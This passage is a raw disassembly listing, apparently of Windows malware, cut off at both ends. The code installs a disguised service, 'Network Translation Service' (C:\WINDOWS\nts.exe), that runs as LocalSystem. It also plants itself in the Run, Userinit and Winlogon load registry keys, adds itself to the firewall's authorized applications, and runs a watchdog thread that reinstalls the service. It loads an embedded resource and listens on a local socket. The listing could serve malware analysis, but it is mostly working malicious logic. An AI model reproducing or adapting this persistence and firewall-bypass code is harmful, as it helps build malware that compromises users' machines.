dword_411E4C ; CloseServiceHandle push ebx call dword_411E4C ; CloseServiceHandle xor eax, eax inc eax loc_44602F: ; CODE XREF: sub_445FED+15j pop esi pop ebx retn sub_445FED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446032 proc near ; CODE XREF: DMN1:00446B8Ep ; sub_447672+40Ap var_53C = dword ptr -53Ch var_538 = byte ptr -538h var_534 = byte ptr -534h var_409 = byte ptr -409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h push ebp mov ebp, esp sub esp, 53Ch push ebx push esi push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_400] push eax call sub_4485F1 pop ecx pop ecx lea ebx, [ebp+var_400] lea eax, [ebp+var_400] push eax call sub_4485D1 pop ecx add ebx, eax push offset aNts ; "NTS" push ebx call sub_4485F1 pop ecx pop ecx xor esi, esi lea eax, [ebp+var_404] push eax push 0F003Fh push 0 lea eax, [ebp+var_400] push eax push 80000002h call dword_411E30 ; RegOpenKeyExA test eax, eax jnz short loc_446100 mov [ebp+var_408], 12Ch lea eax, [ebp+var_408] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_538] push eax push 0 push offset aImagepath ; "ImagePath" push [ebp+var_404] call dword_411E68 ; RegQueryValueExA mov [ebp+var_53C], eax test eax, eax jnz short loc_4460F4 mov [ebp+var_409], 0 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" lea eax, [ebp+var_534] push eax call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_4460F4 xor esi, esi inc esi loc_4460F4: ; CODE XREF: sub_446032+A0j ; sub_446032+BDj push [ebp+var_404] call dword_411E2C ; RegCloseKey loc_446100: ; CODE XREF: sub_446032+64j mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_446032 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446108 proc near ; CODE XREF: DMN1:00446B97p ; sub_447672+413p var_40C = byte ptr -40Ch var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 40Ch push ebx push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_408] push eax call sub_4485F1 pop ecx pop ecx lea ebx, [ebp+var_408] lea eax, [ebp+var_408] push eax call sub_4485D1 pop ecx add ebx, eax push offset aNts ; "NTS" push ebx call sub_4485F1 pop ecx pop ecx lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 lea eax, [ebp+var_408] push eax push 80000002h call dword_411E24 ; RegCreateKeyExA test eax, eax jnz loc_44627D mov [ebp+var_8], 110h push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aType ; "Type" push [ebp+var_4] call dword_411E28 ; RegSetValueExA mov [ebp+var_8], 2 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aStart ; "Start" push [ebp+var_4] call dword_411E28 ; RegSetValueExA and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E28 ; RegSetValueExA and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push 0Ch push offset aLocalsystem ; "LocalSystem" push 1 push 0 push offset aObjectname ; "ObjectName" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push offset aNetworkTransla ; "Network Translation Service" call sub_4485D1 pop ecx inc eax push eax push offset aNetworkTransla ; "Network Translation Service" push 1 push 0 push offset aDisplayname ; "DisplayName" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"... call sub_4485D1 pop ecx inc eax push eax push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"... push 1 push 0 push offset aDescription ; "Description" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" call sub_4485D1 pop ecx inc eax push eax push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push 1 push 0 push offset aImagepath ; "ImagePath" push [ebp+var_4] call dword_411E28 ; RegSetValueExA push [ebp+var_4] call dword_411E2C ; RegCloseKey loc_44627D: ; CODE XREF: sub_446108+6Bj pop ebx mov esp, ebp pop ebp retn sub_446108 endp ; --------------------------------------------------------------------------- push ebx push esi push offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}" push 0 push 0 push 0 call dword_411D40 ; CreateEventA mov ebx, eax test eax, eax jz short loc_4462B6 push ebx call dword_411D44 ; SetEvent mov esi, eax push ebx call dword_411CF8 ; CloseHandle test esi, esi jz short loc_4462B4 xor eax, eax inc eax jmp short loc_4462B6 ; --------------------------------------------------------------------------- loc_4462B4: ; CODE XREF: DMN1:004462ADj xor eax, eax loc_4462B6: ; CODE XREF: DMN1:00446299j ; DMN1:004462B2j pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4462B9 proc near ; CODE XREF: sub_4464C6+89p ; sub_44655C+CAp ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E24 ; RegCreateKeyExA test eax, eax jnz short loc_44630B push [ebp+arg_C] call sub_4485D1 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E28 ; RegSetValueExA push [ebp+var_4] call dword_411E2C ; RegCloseKey loc_44630B: ; CODE XREF: sub_4462B9+29j mov esp, ebp pop ebp retn sub_4462B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44630F proc near ; CODE XREF: sub_446417+3Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_4485D1 pop ecx mov edi, eax push [ebp+var_4] call sub_4485D1 pop ecx mov ebx, eax jmp short loc_446353 ; --------------------------------------------------------------------------- loc_446335: ; CODE XREF: sub_44630F+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411CFC ; CompareStringA cmp eax, 2 jnz short loc_446351 mov eax, esi jmp short loc_446359 ; --------------------------------------------------------------------------- loc_446351: ; CODE XREF: sub_44630F+3Cj inc esi dec edi loc_446353: ; CODE XREF: sub_44630F+24j cmp edi, ebx jge short loc_446335 xor eax, eax loc_446359: ; CODE XREF: sub_44630F+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44630F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446360 proc near ; CODE XREF: sub_446417+23p ; sub_4464C6+4Ap ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] mov edi, [ebp+arg_10] cmp edi, 1 jl short loc_44637B test esi, esi jnz short loc_446382 loc_44637B: ; CODE XREF: sub_446360+15j xor eax, eax jmp loc_446410 ; --------------------------------------------------------------------------- loc_446382: ; CODE XREF: sub_446360+19j lea eax, [ebp+var_8] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E30 ; RegOpenKeyExA test eax, eax jz short loc_4463A1 xor eax, eax jmp short loc_446410 ; --------------------------------------------------------------------------- loc_4463A1: ; CODE XREF: sub_446360+3Bj push [ebp+arg_4] push offset aRegreadOpenedS ; "RegRead(): opened %s\n" call nullsub_4 pop ecx pop ecx push edi push 0 push esi call sub_448551 add esp, 0Ch lea eax, [edi-1] mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_10] push eax push 0 push ebx push [ebp+var_8] call dword_411E68 ; RegQueryValueExA mov [ebp+var_C], eax push [ebp+var_8] call dword_411E2C ; RegCloseKey cmp [ebp+var_C], 0 jnz short loc_446401 push esi push ebx push [ebp+var_4] push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n" call nullsub_4 add esp, 10h mov eax, [ebp+var_4] dec eax jmp short loc_446410 ; --------------------------------------------------------------------------- loc_446401: ; CODE XREF: sub_446360+87j push ebx push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n" call nullsub_4 pop ecx pop ecx xor eax, eax loc_446410: ; CODE XREF: sub_446360+1Dj ; sub_446360+3Fj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_446360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446417 proc near ; CODE XREF: sub_4464C6+23p ; sub_44655C+24p ... var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 2000h call sub_4486B1 push ebx push 2000h lea eax, [ebp+var_2000] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_446360 add esp, 14h mov ebx, eax test eax, eax jz short loc_446464 push [ebp+arg_C] lea eax, [ebp+var_2000] push eax call sub_44630F pop ecx pop ecx test eax, eax jz short loc_446462 xor eax, eax inc eax jmp short loc_446464 ; --------------------------------------------------------------------------- loc_446462: ; CODE XREF: sub_446417+44j xor eax, eax loc_446464: ; CODE XREF: sub_446417+2Fj ; sub_446417+49j pop ebx mov esp, ebp pop ebp retn sub_446417 endp ; =============== S U B R O U T I N E ======================================= sub_446469 proc near ; CODE XREF: sub_4466F5+1Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, [esp+0Ch+arg_8] mov edi, [esp+0Ch+arg_C] test edi, edi jz short loc_446482 mov byte ptr [ebx], 22h inc ebx jmp short loc_446485 ; --------------------------------------------------------------------------- loc_446482: ; CODE XREF: sub_446469+11j mov byte ptr [ebx], 0 loc_446485: ; CODE XREF: sub_446469+17j push [esp+0Ch+arg_4] push ebx call sub_4485F1 pop ecx pop ecx push [esp+0Ch+arg_4] call sub_4485D1 pop ecx add ebx, eax test edi, edi jz short loc_4464A5 mov byte ptr [ebx], 22h inc ebx loc_4464A5: ; CODE XREF: sub_446469+36j test esi, esi jz short loc_4464BF mov byte ptr [ebx], 20h inc ebx push esi push ebx call sub_4485F1 pop ecx pop ecx push esi call sub_4485D1 pop ecx add ebx, eax loc_4464BF: ; CODE XREF: sub_446469+3Ej mov byte ptr [ebx], 0 pop edi pop esi pop ebx retn sub_446469 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4464C6 proc near ; CODE XREF: sub_4466F5+78p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_4486B1 push ebx push dword_4128A4 push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_446417 add esp, 10h test eax, eax jnz short loc_446557 push 2000h lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_446360 add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_446525 mov [ebp+var_2000], 0 loc_446525: ; CODE XREF: sub_4464C6+56j push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_448611 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_4462B9 add esp, 10h loc_446557: ; CODE XREF: sub_4464C6+2Dj pop ebx mov esp, ebp pop ebp retn sub_4464C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44655C proc near ; CODE XREF: sub_4466F5+7Dp var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_4486B1 push ebx push esi push dword_4128A4 push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446417 add esp, 10h test eax, eax jnz loc_44662E push 2000h lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446360 add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_4465C0 mov [ebp+var_2000], 0 loc_4465C0: ; CODE XREF: sub_44655C+5Bj cmp [ebp+var_2000], 0 jz short loc_4465E5 lea esi, [ebp+var_2000] jmp short loc_4465D2 ; --------------------------------------------------------------------------- loc_4465D1: ; CODE XREF: sub_44655C+79j inc esi loc_4465D2: ; CODE XREF: sub_44655C+73j cmp byte ptr [esi], 0 jnz short loc_4465D1 dec esi cmp byte ptr [esi], 2Ch jz short loc_4465E5 inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_4465E5: ; CODE XREF: sub_44655C+6Bj ; sub_44655C+7Fj push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_448611 pop ecx pop ecx test ebx, ebx jnz short loc_446610 push offset asc_40E73B ; "," lea eax, [ebp+var_2000] push eax call sub_448611 pop ecx pop ecx loc_446610: ; CODE XREF: sub_44655C+9Fj lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4462B9 add esp, 10h loc_44662E: ; CODE XREF: sub_44655C+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_44655C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446634 proc near ; CODE XREF: sub_4466F5+82p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_4486B1 push ebx push esi push dword_4128A4 push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446417 add esp, 10h test eax, eax jnz loc_4466EF push 2000h lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446360 add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_446698 mov [ebp+var_2000], 0 loc_446698: ; CODE XREF: sub_446634+5Bj cmp [ebp+var_2000], 0 jz short loc_4466BD lea esi, [ebp+var_2000] jmp short loc_4466AA ; --------------------------------------------------------------------------- loc_4466A9: ; CODE XREF: sub_446634+79j inc esi loc_4466AA: ; CODE XREF: sub_446634+73j cmp byte ptr [esi], 0 jnz short loc_4466A9 dec esi cmp byte ptr [esi], 2Ch jz short loc_4466BD inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_4466BD: ; CODE XREF: sub_446634+6Bj ; sub_446634+7Fj push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_448611 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_4462B9 add esp, 10h loc_4466EF: ; CODE XREF: sub_446634+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_446634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4466F5 proc near ; CODE XREF: sub_447672+557p var_2000 = byte ptr -2000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2000h call sub_4486B1 push 1 push offset asc_40E6FF ; "*" push [ebp+arg_0] lea eax, [ebp+var_2000] push eax call sub_446469 add esp, 10h push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n" call nullsub_4 pop ecx lea eax, [ebp+var_2000] push eax push offset aNetworkTransla ; "Network Translation Service" push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_4462B9 add esp, 10h push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n" call nullsub_4 pop ecx lea eax, [ebp+var_2000] push eax push offset aNetworkTransla ; "Network Translation Service" push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call sub_4462B9 add esp, 10h call sub_4464C6 call sub_44655C call sub_446634 mov esp, ebp pop ebp retn sub_4466F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446780 proc near ; CODE XREF: sub_447672+236p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_4486B1 mov [ebp+var_2000], 0 push dword_4128A4 lea eax, [ebp+var_2000] push eax call sub_448611 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_2000] push eax call sub_448611 pop ecx pop ecx push offset aNts ; "NTS" lea eax, [ebp+var_2000] push eax call sub_448611 pop ecx pop ecx lea eax, [ebp+var_2000] push eax push dword_4128A4 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_4462B9 add esp, 10h mov esp, ebp pop ebp retn sub_446780 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4467F1 proc near ; CODE XREF: DMN1:00446A0Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push 14h push 40h call dword_411CE0 ; LocalAlloc mov [ebp+var_10], eax push 1 push [ebp+var_10] call dword_411E38 ; InitializeSecurityDescriptor push 0 push 0 push 1 push [ebp+var_10] call dword_411E3C ; SetSecurityDescriptorDacl mov [ebp+var_C], 0Ch mov eax, [ebp+var_10] mov [ebp+var_8], eax mov [ebp+var_4], 1 push offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}" push 0 push 0 lea eax, [ebp+var_C] push eax call dword_411D40 ; CreateEventA mov ebx, eax test ebx, ebx jz short loc_44685B push offset aEventCreated_ ; "EVENT CREATED.\n" call sub_4481E1 pop ecx jmp short loc_44686E ; --------------------------------------------------------------------------- loc_44685B: ; CODE XREF: sub_4467F1+5Bj call dword_411CE8 ; RtlGetLastWin32Error push eax push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n" call sub_4481E1 pop ecx pop ecx loc_44686E: ; CODE XREF: sub_4467F1+68j push 0 push 0 push offset sub_405BE3 call sub_448891 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle push 0 push 0 push offset sub_406677 call sub_448891 add esp, 0Ch mov esi, eax loc_446899: ; CODE XREF: sub_4467F1:loc_4468E8j test ebx, ebx jz short loc_4468D3 push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n" call sub_4481E1 pop ecx mov [ebp+var_18], esi mov [ebp+var_14], ebx push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push 2 call dword_411D48 ; WaitForMultipleObjects mov edi, eax test edi, edi jz short loc_4468C9 cmp edi, 1 jnz short loc_4468E8 loc_4468C9: ; CODE XREF: sub_4467F1+D1j push 1 call sub_448961 pop ecx jmp short loc_4468E8 ; --------------------------------------------------------------------------- loc_4468D3: ; CODE XREF: sub_4467F1+AAj push 0FFFFFFFFh push esi call dword_411D34 ; WaitForSingleObject test eax, eax jnz short loc_4468E8 push 1 call sub_448961 pop ecx loc_4468E8: ; CODE XREF: sub_4467F1+D6j ; sub_4467F1+E0j ... jmp short loc_446899 sub_4467F1 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- mov eax, [esp+4] cmp eax, 3 jz short loc_446906 cmp eax, 4 jz short loc_446923 cmp eax, 5 jz short loc_446936 jmp short locret_446959 ; --------------------------------------------------------------------------- loc_446906: ; CODE XREF: DMN1:004468F8j mov dword_41293C, 4 push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus jmp short locret_446959 ; --------------------------------------------------------------------------- loc_446923: ; CODE XREF: DMN1:004468FDj push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus jmp short locret_446959 ; --------------------------------------------------------------------------- loc_446936: ; CODE XREF: DMN1:00446902j mov dword_41293C, 1 push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus push 1 call sub_448961 pop ecx locret_446959: ; CODE XREF: DMN1:00446904j ; DMN1:00446921j ... retn 4 ; --------------------------------------------------------------------------- push offset aServicectrldis ; "ServiceCtrlDispatcher()\n" call sub_4481E1 pop ecx push offset loc_405970 push off_412958 call dword_411E70 ; RegisterServiceCtrlHandlerA mov dword_412954, eax cmp dword_412954, 0 jz loc_446A3C push 1 push offset dword_411044 call dword_411D04 ; InterlockedExchange push 1Ch push 0 push offset dword_412938 call sub_448551 add esp, 0Ch mov dword_412938, 110h mov dword_41293C, 2 and dword_412940, 0 mov dword_412950, 9C4h push offset aSetservicestat ; "SetServiceStatus(): start pending\n" call sub_4481E1 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus mov dword_41293C, 4 push offset aSetservicest_0 ; "SetServiceStatus(): running\n" call sub_4481E1 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus call sub_4467F1 ; --------------------------------------------------------------------------- mov dword_41293C, 1 push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n" call sub_4481E1 pop ecx push offset dword_412938 push dword_412954 call dword_411E6C ; SetServiceStatus jmp short locret_446A47 ; --------------------------------------------------------------------------- loc_446A3C: ; CODE XREF: DMN1:00446984j push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("... call sub_4481E1 pop ecx locret_446A47: ; CODE XREF: DMN1:00446A3Aj retn 8 ; =============== S U B R O U T I N E ======================================= sub_446A4A proc near ; CODE XREF: DMN1:00446A90p ; sub_447672+532p push ebx call sub_44508F test eax, eax jz short loc_446A58 xor eax, eax jmp short loc_446A8E ; --------------------------------------------------------------------------- loc_446A58: ; CODE XREF: sub_446A4A+8j mov eax, off_412958 mov dword_41295C, eax mov dword_412960, offset loc_4059DB and dword_412964, 0 and dword_412968, 0 push offset dword_41295C call dword_411E74 ; StartServiceCtrlDispatcherA mov ebx, eax call sub_4450E3 mov eax, ebx loc_446A8E: ; CODE XREF: sub_446A4A+Cj pop ebx retn sub_446A4A endp ; --------------------------------------------------------------------------- call sub_446A4A call sub_448921 retn ; --------------------------------------------------------------------------- call sub_445DD7 mov dword_411040, eax call sub_448921 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446AAB proc near ; CODE XREF: DMN1:00446BC8p ; sub_447672+1F7p var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 854h push 44h push 0 lea eax, [ebp+var_44] push eax call sub_448551 add esp, 0Ch mov [ebp+var_44], 44h push offset asc_40EDC7 ; "\"" lea eax, [ebp+var_844] push eax call sub_4485F1 pop ecx pop ecx push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" lea eax, [ebp+var_844] push eax call sub_448611 pop ecx pop ecx push offset asc_40E5AD ; "\" " lea eax, [ebp+var_844] push eax call sub_448611 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_446B1B push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_448611 pop ecx pop ecx loc_446B1B: ; CODE XREF: sub_446AAB+5Dj lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D10 ; CreateProcessA test eax, eax jz short loc_446B60 push [ebp+var_850] call dword_411CF8 ; CloseHandle push [ebp+var_854] call dword_411CF8 ; CloseHandle xor eax, eax inc eax loc_446B60: ; CODE XREF: sub_446AAB+98j mov esp, ebp pop ebp retn sub_446AAB endp ; --------------------------------------------------------------------------- push ebx push esi push offset aServicefixerth ; "ServiceFixerThread started.\n" call nullsub_4 pop ecx loc_446B71: ; CODE XREF: DMN1:loc_446BF9j xor ebx, ebx push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" call dword_411D4C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_446BEE call sub_445C39 test eax, eax jz short loc_446BAD call sub_446032 test eax, eax jnz short loc_446B9C call sub_446108 loc_446B9C: ; CODE XREF: DMN1:00446B95j call sub_445D89 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_446BBA xor ebx, ebx inc ebx jmp short loc_446BBA ; --------------------------------------------------------------------------- loc_446BAD: ; CODE XREF: DMN1:00446B8Cj call sub_445EAB cmp eax, 0FFFFFFFFh jnz short loc_446BBA xor ebx, ebx inc ebx loc_446BBA: ; CODE XREF: DMN1:00446BA6j ; DMN1:00446BABj ... test ebx, ebx jz short loc_446BE1 call sub_4450E3 push offset asc_40E58D ; "**" call sub_446AAB pop ecx test eax, eax jz short loc_446BDA push 0 call sub_448961 pop ecx loc_446BDA: ; CODE XREF: DMN1:00446BD0j call sub_44508F jmp short loc_446BF9 ; --------------------------------------------------------------------------- loc_446BE1: ; CODE XREF: DMN1:00446BBCj push 1F4h call dword_411D00 ; Sleep jmp short loc_446BF9 ; --------------------------------------------------------------------------- loc_446BEE: ; CODE XREF: DMN1:00446B83j push 2710h call dword_411D00 ; Sleep loc_446BF9: ; CODE XREF: DMN1:00446BDFj ; DMN1:00446BECj jmp loc_446B71 ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push esi mov eax, [ebp+8] mov esi, eax push dword_41296C call dword_411D50 ; ResetEvent loc_446C18: ; CODE XREF: DMN1:00446C4Cj mov byte ptr [ebp-1], 0 push 1 lea eax, [ebp-1] push eax push esi call sub_44265D add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_446C4E cmp byte ptr [ebp-1], 2Ah jnz short loc_446C4E push 1 lea eax, [ebp-1] push eax push esi call sub_442708 add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_446C4E jmp short loc_446C18 ; --------------------------------------------------------------------------- loc_446C4E: ; CODE XREF: DMN1:00446C2Fj ; DMN1:00446C35j ... push esi call sub_442443 pop ecx push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n" call nullsub_4 pop ecx push dword_41296C call dword_411D44 ; SetEvent call sub_448921 pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 call sub_4422DA mov dword_41104C, eax push offset aDlltestlistent ; "DLLTestListenThread: binding...\n" call nullsub_4 pop ecx push 15B7h push 100007Fh push dword_41104C call sub_442538 add esp, 0Ch test eax, eax jz short loc_446D17 push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n" call nullsub_4 pop ecx push dword_41104C call sub_442588 pop ecx test eax, eax jz short loc_446D17 push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n" call nullsub_4 pop ecx push dword_41104C call sub_4425A2 pop ecx mov [ebp-4], eax test eax, eax jz short loc_446D17 mov eax, [ebp-4] push eax push 0 push offset sub_405C80 call sub_448891 add esp, 0Ch mov [ebp-8], eax push eax call dword_411CF8 ; CloseHandle push dword_41104C call sub_442443 pop ecx and dword_41104C, 0 loc_446D17: ; CODE XREF: DMN1:00446CACj ; DMN1:00446CC7j ... cmp dword_41104C, 0 jz short loc_446D2C push dword_41104C call sub_442443 pop ecx loc_446D2C: ; CODE XREF: DMN1:00446D1Ej push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n" call nullsub_4 pop ecx call sub_448921 mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_446D40 proc near ; CODE XREF: sub_4472FE+14p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_446D52 ; --------------------------------------------------------------------------- loc_446D4A: ; CODE XREF: sub_446D40+14j call dword_411CC4 ; GetTickCount mov esi, eax loc_446D52: ; CODE XREF: sub_446D40+8j test esi, esi jz short loc_446D4A mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_446D40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446D74 proc near ; CODE XREF: sub_446E7F+9Ep ; sub_446E7F+109p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_411054, 0 jz short loc_446D9C push dword_411054 call dword_411CF8 ; CloseHandle and dword_411054, 0 loc_446D9C: ; CODE XREF: sub_446D74+13j push 0Ah push offset a8001 ; "#8001" push 0 call dword_411D54 ; FindResourceA mov esi, eax test eax, eax jz loc_446E78 push esi push 0 call dword_411D58 ; SizeofResource mov [ebp+var_4], eax push [ebp+var_4] push offset 